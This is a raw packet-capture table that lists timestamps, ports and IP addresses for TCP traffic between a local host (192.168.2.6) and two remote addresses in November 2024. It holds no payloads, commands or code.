Nov 17, 2024 01:38:23.395248890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.395283937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.395344019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.395498991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.395515919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.395530939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.395565987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.395601034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.422813892 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.422878027 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.452980995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.452996016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.453011990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.453027010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.453093052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.453146935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.486443996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.486460924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.486475945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.486522913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.486565113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.515415907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.515491009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.515535116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.515549898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.515578985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.515634060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.516432047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.516446114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.516463995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.516478062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.516482115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.516510010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.516532898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.517290115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.517324924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.517338037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.517338991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.517365932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.517389059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.549623013 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.550026894 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.550045013 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.550463915 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.550470114 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.553553104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.553606987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.553626060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.553642988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.553659916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.553669930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.553674936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.553715944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.553715944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.553733110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.553776026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.553864002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.553879976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.553900957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.553909063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.553934097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.553965092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.554419994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.554466963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.611412048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.611433029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.611462116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.611476898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.611550093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.611550093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.644998074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.645016909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.645092010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.645129919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.645179033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.645311117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.645369053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.674010038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.674094915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.674181938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.674212933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.674252987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.674288034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.674979925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.675015926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.675049067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.675062895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.675062895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.675110102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.675820112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.675851107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.675882101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.675889969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.675928116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.675931931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.675931931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.676001072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.685233116 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.685323000 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.685370922 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.685539961 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.685555935 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.685578108 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.685585976 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.688740969 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.688772917 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.688878059 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.688978910 CET	49765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.688987017 CET	443	49765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.712471008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.712549925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.712627888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.712657928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.712685108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.712692022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.712713957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.712732077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.712737083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.712768078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.712799072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.712801933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.712821007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.712836027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.712852955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.712897062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.713109016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.713143110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.713176966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.713180065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.713248014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.713283062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.772619009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.772650003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.772685051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.772722006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.772752047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.772869110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.803270102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.803308964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.803370953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.803404093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.803406000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.803476095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.832310915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.832350969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.832386017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.832503080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.832503080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.833148003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.833178043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.833214998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.833214998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.833246946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.833267927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.833285093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.833333969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.834160089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.834188938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.834218025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.834224939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.834237099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.834263086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.834271908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.834312916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.876219988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.876293898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.876346111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.876379967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.876414061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.876436949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.876436949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.876437902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.876450062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.876486063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.876494884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.876494884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.876494884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.876519918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.876533985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.876558065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.876570940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.876610041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.894361973 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.894973040 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.894984961 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.895585060 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.895591021 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.921066046 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.921957016 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.921993971 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.922398090 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.922415972 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.931272984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.931309938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.931351900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.931375980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.931432962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.945961952 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.946451902 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.946468115 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.946898937 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.946903944 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.961668015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.961699963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.961755037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.961785078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.961786985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.961865902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.961865902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.990756989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.990792990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.990825891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.990964890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.990964890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.990964890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.991470098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.991503954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.991537094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.991545916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.991547108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.991588116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.992443085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.992472887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.992503881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.992506027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.992526054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.992543936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.992549896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.992594004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029016018 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.029093981 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.029181004 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.029333115 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.029351950 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.029392958 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.029400110 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.029427052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029479980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029515028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029522896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029558897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029587984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029587984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029614925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029618025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029654026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029685974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029687881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029710054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029742002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029830933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029860020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029881954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029902935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029912949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029947042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029958010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.029987097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.029998064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.030028105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.032002926 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.032021999 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.032088995 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.032517910 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.032533884 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.034390926 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.034735918 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.034745932 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.035155058 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.035161018 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.050525904 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.050673008 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.050734043 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.050792933 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.050792933 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.050822020 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.050844908 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.053220034 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.053252935 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.053307056 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.053427935 CET	49767	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.053442001 CET	443	49767	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.076960087 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.077147961 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.077203989 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.077249050 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.077249050 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.077265024 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.077275991 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.079863071 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.079896927 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.079991102 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.080132008 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.080146074 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.089565992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.089607954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.089643002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.089668989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.089725971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.120131969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.120163918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.120209932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.120229006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.120229006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.120245934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.120269060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.120289087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.149080038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.149113894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.149167061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.149174929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.149174929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.149199963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.149214029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.149256945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.149801970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.149837017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.149863005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.149872065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.149883032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.149924040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.150702000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.150755882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.150757074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.150818110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.150819063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.150871992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.150876045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.150926113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.164508104 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.164788008 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.164859056 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.164901018 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.164915085 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.164927959 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.164933920 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.167673111 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.167706966 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.167787075 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.167948008 CET	49769	443	192.168.2.6	13.107.246.45
